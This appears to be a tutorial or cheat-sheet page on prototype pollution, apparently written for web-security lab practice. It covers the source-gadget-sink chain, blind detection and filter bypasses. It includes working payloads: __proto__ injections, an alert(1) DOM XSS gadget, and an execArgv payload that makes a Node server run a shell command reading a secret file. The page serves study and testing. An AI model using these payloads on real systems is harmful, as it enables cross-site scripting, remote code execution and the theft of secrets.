Prototype Pollution¶
← Back to index · Stage 2 (client-side) / Stage 3 (server-side) · Read the mindset page first.
Why it exists: in JavaScript, every object inherits from a shared Object.prototype. If the app merges your input into an object using a __proto__ key, you write a property onto that shared prototype — and now every object in the app inherits it. If the app later reads a property it expects to be undefined (a config flag, an HTML sink option), it finds your value instead. Use DOM Invader for the client-side hunt.
The one rule: pollution alone does nothing — you need the full chain. Source (where you inject
__proto__) → gadget (a property the app reads off the prototype) → sink (where that property becomes XSS, a privilege flag, or RCE).
Decision tree¶
flowchart TD
A["Where is the merge?"] --> C["Client-side JS"]
A --> S["Server-side (Node)"]
C --> CP["Pollute via URL / JSON / form"]
CP --> CG["DOM Invader finds gadget + sink"]
CG --> CX["DOM XSS / privilege flag"]
S --> SP["Pollute via JSON body __proto__"]
SP --> SG{"Detectable gadget?"}
SG -->|reflected prop| SR["Change behaviour / priv-esc"]
SG -->|spawn/exec gadget| SRCE["RCE -> read the secret"]
Reading the response: pollution is invisible, so you read a proxy for it. Client-side: the browser console —
Object.prototype.testreturning your value = polluted. Server-side: a visible behaviour change — a reflected unexpected property, a changed status code, or thejson spacestrick altering the response's whitespace. No observable change means the merge never reached the prototype; fix the source before hunting a gadget.
1. Client-side — why the chain matters¶
Why all three parts: polluting the prototype is invisible until some code reads the polluted property (the gadget) and does something dangerous with it (the sink). Without a gadget+sink, you've changed a value nobody looks at.
# sources — where input is deep-merged:
?__proto__[gadget]=value {"__proto__":{"gadget":"value"}}
# confirm pollution actually happened (browser console, after ?__proto__[test]=polluted):
Object.prototype.test // "polluted" = success
2. Server-side (Node) — why you confirm blind¶
Why: you can't see the server's prototype, so you prove pollution by a behaviour change:
# detect blind — pollute a property the server reflects or acts on:
{"__proto__":{"json spaces":10}} // the response JSON whitespace changes = polluted
3. Gadgets & sinks — why these reach impact¶
# client: a config value read off the prototype flows into innerHTML / script src / eval -> DOM XSS
?__proto__[hitCallback]=alert(1)
# server RCE: pollute an option a child-process spawn reads (child_process honours inherited options)
{"__proto__":{"execArgv":["--eval=require('child_process').execSync('cat /home/carlos/secret')"]}}
Failure modes¶
- Pollution not sticking → try
constructor.prototypeinstead of__proto__; try dot vs bracket notation. - Polluted but no effect → you have a source but no gadget; enumerate properties the app reads (DOM Invader lists candidate gadgets).
- Server: can't confirm → use the
json spaces/ status-code technique to detect it blind. - Keys sanitised → filters strip
__proto__but often missconstructor.prototypeor nested/encoded forms.